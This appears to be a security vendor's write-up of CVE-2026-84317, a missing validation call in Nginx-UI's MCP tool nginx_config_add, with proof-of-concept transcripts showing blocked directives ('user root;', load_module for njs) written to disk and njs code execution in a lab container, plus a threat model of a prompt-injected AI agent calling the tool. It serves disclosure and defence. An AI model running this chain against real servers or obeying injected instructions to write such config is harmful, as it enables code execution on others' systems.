Skip to content
Guard0

Every Door but One: How an MCP Tool Skipped Nginx-UI's Config Checkpoint (CVE-2026-84317)

· 7 min read ·

Every Door but One: How an MCP Tool Skipped Nginx-UI's Config Checkpoint (CVE-2026-84317)

Picture a building where every entrance has a guard holding the same short list of things that are not allowed inside. The list is good. The guards are diligent. Then a new wing goes up for the delivery robots, the guards are posted to it too, and in the rush one of its doors is left without anyone standing at it. Nobody forged anything. Nobody overpowered a guard. They just walked through the door that nobody was watching.

CVE-2026-84317 is that door, in an nginx admin panel. Nginx-UI keeps a blocklist, ValidateConfigFile, that stops dangerous nginx directives (user root, load_module, js_*, perl_*) from being written to disk. It is called on every config write path we found: web create and modify, site and stream save and duplicate, and the MCP nginx_config_modify tool. It is not called in exactly one: the handler behind the MCP tool nginx_config_add. An authenticated MCP client, which in practice is often an AI agent, can write the bytes every other path refuses. Every version before 2.4.1 is affected, including 2.3.11 and 2.4.0.

The bug was found and reported by novice-22; full credit to them. We reproduced it end to end against an image the advisory names (uozi/nginx-ui:2.3.11), on an isolated local container: the same user root; sent to the web API and to the MCP tool, one refused, one on disk. Here is how a rule that is checked nine times gets skipped on the tenth, and why nginx's own config check on reload won't save you.

The setup: one blocklist, many write paths

Nginx-UI is a web front end for managing nginx: you edit sites, streams and config files in the browser, and it writes them to disk and reloads nginx. Some nginx directives are dangerous to let a UI user write, so the app keeps a blocklist and checks the content of every write against it before the file is saved. The directives on that list are there for good reasons:

  • load_module + js_* (main context): njs runs JavaScript inside the nginx worker. ngx_http_js_module.so ships in the official Docker image, so this is a live code-execution path, not just a crash.
  • user root (main context): the workers run as root, with root-level file read and write.
  • perl_*: Perl code running inside nginx.

The blocklist was rolled out deliberately. Per the advisory, a hardening commit (3e411d38, "Harden config write paths", 2026-04-21) added the validator across the write paths, including the newer MCP surface, where it reached the nginx_config_modify tool. It did not reach config_add.go.

The trap: a tool that writes first and never asks

Nginx-UI exposes an MCP server so that an MCP client (a desktop assistant, an agent) can manage nginx for you. The transport is SSE at GET /mcp, authenticated with a user JWT or a node secret. tools/list returns 12 tools, and two of them write config files:

nginx_config_modify(...)                                     validated
nginx_config_add(name, content, base_dir, overwrite, ...)    not validated

handleNginxConfigAdd takes the content argument, writes it to the config directory, and then reloads nginx. It never calls ValidateConfigFile. Every sibling handler does. That is the whole bug: not a weak check, not a bypassable regex, just a missing call on one path to the same sink.

Reaching the tool

Getting to the MCP channel takes an ordinary login. Nginx-UI 2.3.x encrypts the login payload, so the flow, reproduced from the frontend JS bundle, is: fetch an ephemeral RSA key bound to a session cookie, RSA-encrypt {"name":...,"password":...} with PKCS1v15, and post it to /api/login for a JWT:

$ nginx-ui PoC - step 1: encrypted-login handshake
> POST /api/crypto/public_key   {"timestamp":...,"fingerprint":"repro-lab-fp"}
< 200   Set-Cookie: _nginx_ui_secure_session=...
< {"public_key":"-----BEGIN RSA PUBLIC KEY-----\n...",  "request_id":"194fb7fc..."}
> POST /api/login   {"encrypted_params":"l0rWQyBsBA+..."}  (RSA/PKCS1v15)
< 200   {"message":"ok","code":200,"token":"eyJhbGci...<redacted>"}

With the JWT in the Authorization header, the MCP stream opens, the server hands back a message endpoint, and the tool list comes back:

$ nginx-ui PoC - step 2: open MCP channel, discover tools
> GET /mcp   (Authorization: <jwt>)        [SSE stream opens]
< event: endpoint
< data: /mcp_message?sessionId=0bc442fb-...
> {"method":"initialize"}
< serverInfo = {"name": "Nginx", "version": "1.0.0"}
> {"method":"tools/list"}
< 12 tools returned:
    nginx_config_add   nginx_config_modify   nginx_config_get   ...

Same bytes, two answers

Now the actual test. We send identical content, the advisory's own example user root;, to the web create path and to the MCP add tool:

$ nginx-ui PoC - step 3: same blocked directive, two write paths
                     PATH 1  -  validated REST API
> POST /api/configs      content = "user root;"
< HTTP 500   code=40017   "file content contains restricted nginx directive"
  REJECTED: ValidateConfigFile blocklist fired
                     PATH 2  -  MCP tool  nginx_config_add
> tools/call nginx_config_add   content = "user root;"   (identical bytes)
< isError=None   file_path="/etc/nginx/conf.d/repro_bypass.conf"

The web API's validator catches the directive and refuses the write. The MCP add handler never asks, so the same bytes are written. The advisory reports that the MCP nginx_config_modify tool refuses the same content too, so this is not "the MCP side has no checks". It is one handler that was missed.

Reading the file back from the container settles it:

$ docker exec nginx-ui-vuln cat /etc/nginx/conf.d/repro_bypass.conf
    # repro marker
    user root;

The uncomfortable part: nginx's own check won't catch it

The natural objection is that nginx validates its own config on reload, so a bad directive should fail there. There are two checks a config write can run into, and only one of them is a security control:

  1. ValidateConfigFile, the app's blocklist. It checks the content for dangerous directives before writing. This is the gate the MCP add path skips.
  2. nginx's config check on reload. The add handler writes the file first, then reloads. nginx rejects directives that are illegal where they land, such as user root inside http{}.

The second is not a substitute for the first. It judges syntax and context, not safety: a load_module or user root placed in main context (for example by overwriting nginx.conf, which the reporter did) is perfectly valid nginx. And because the handler writes before it reloads, a failed reload returns an error but leaves the file on disk. The finding is gate 1 being skipped, not gate 2 being evaded.

What a config write actually owns: the blast radius

This is not theoretical. The reporter showed it end to end on the official image, and we reproduced the chain. Through nginx_config_add we wrote a load_module directive (also on the blocklist) and an njs JavaScript file. A temporary nginx process loaded the module and ran the JS, which wrote a marker file to /tmp/:

$ docker exec nginx-ui-vuln cat /etc/nginx/conf.d/repro_njs_exec.conf
    # CVE-2026-84317 repro: blocked directives written via MCP
    load_module /usr/lib/nginx/modules/ngx_http_js_module.so;

$ nginx-ui PoC - step 6: njs code execution
  nginx config test passed
  njs executed: wrote marker to /tmp/cve-repro-marker.txt

$ docker exec nginx-ui-vuln cat /tmp/cve-repro-marker.txt
    CVE-2026-84317 repro: njs wrote this from the nginx worker
$ docker exec nginx-ui-vuln ls -la /tmp/cve-repro-marker.txt
    -rw-rw-rw- 1 nginx nginx 58 Oct 27 11:18 /tmp/cve-repro-marker.txt

The njs module (ngx_http_js_module.so) ships in the official Docker image, so load_module is a live code-execution path. The advisory titles it as RCE, consistent with its CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). On a stock nginx build without the njs or perl modules, the impact drops to a failed reload (denial of service) and a privilege regression.

What the advisory requires is an authenticated MCP caller, meaning a user JWT or a node secret. That sounds like a high bar until you ask who holds that credential. The answer, increasingly, is an AI agent. The AI-agent scenario is our threat model, not something the advisory or our reproduction demonstrated: any agent connected to Nginx-UI's MCP endpoint holds the credential, and an agent steered by prompt injection (a poisoned ticket, a doc it was asked to summarise, a web page it read) could call nginx_config_add with content the web UI would refuse, without the operator ever seeing the payload in the UI. A validation gap on a tool becomes a prompt-injection-reachable write primitive.

It is also not the first MCP bug in this product. The advisory notes that it is distinct from CVE-2026-33032 / GHSA-h6c2-x2m2-mwhf, which was missing authentication on the same MCP endpoint. First the door, then a tool behind it. MCP endpoints get bolted onto mature applications, and the security work that hardened the original web API has to be redone for the new surface, path by path.

The fix, and why it's one line

The fix is the call that was missing: config.ValidateConfigFile inside handleNginxConfigAdd, before the write, matching every other write path. It landed in commit 23d1934 on 2026-07-03 and shipped in v2.4.1, completing the hardening pass that 3e411d38 started. Upgrading is the fix.

One line, and its absence is the entire vulnerability. But the shape is worth more than the line. Applications that add a new write surface (MCP, GraphQL, gRPC) next to an existing REST API tend to grow handlers that call the underlying write function directly, skipping the validation every sibling goes through. Here the hardening pass did reach the MCP surface. It just didn't reach all of it, and nothing told anyone it hadn't.

Diagram: an authenticated MCP caller sends user root; through nginx_config_add. In Nginx-UI before 2.4.1 the handler skips ValidateConfigFile, the file is written, and njs code can run in nginx. In 2.4.1 the same call is refused and nothing reaches disk.

What we'd actually do about it

Guard0's take, strongest control first:

  1. Upgrade. Nginx-UI v2.4.1 adds the missing ValidateConfigFile call. That is the fix. Everything below assumes you cannot upgrade today.
  2. Gate the MCP endpoint. If no agent needs MCP access right now, disable it or restrict it to an allowlist of clients. The web UI is unaffected.
  3. Audit every write path after adding a new surface. The pattern here is general: a hardening pass that reaches nine out of ten handlers is nine out of ten. When you add MCP, GraphQL, or gRPC handlers next to an existing REST API, enumerate the sinks (file write, DB write, outbound request) and confirm the same validation runs on every path that reaches them. A checklist beats institutional memory.
  4. Don't treat nginx's reload check as a security gate. The handler writes before it reloads, so a failed reload leaves the file on disk. And a directive that is syntactically valid in the right context (load_module in main, user root in main) passes the reload anyway. The app-level blocklist is the control; the reload is an operational check.
  5. Strip the njs module from production images. If you don't use njs, remove ngx_http_js_module.so from the container. That eliminates the code-execution path without changing any config. The validation bypass remains, but the blast radius shrinks from RCE to a bad config on disk.

Reproduced on an isolated local container (uozi/nginx-ui:2.3.11); repro artifacts were removed after capture.

Vulnerability credit: novice-22.

References

Kanav Tikone
Founding Engineer, Security Research at Guard0. Before Guard0: ReBIT.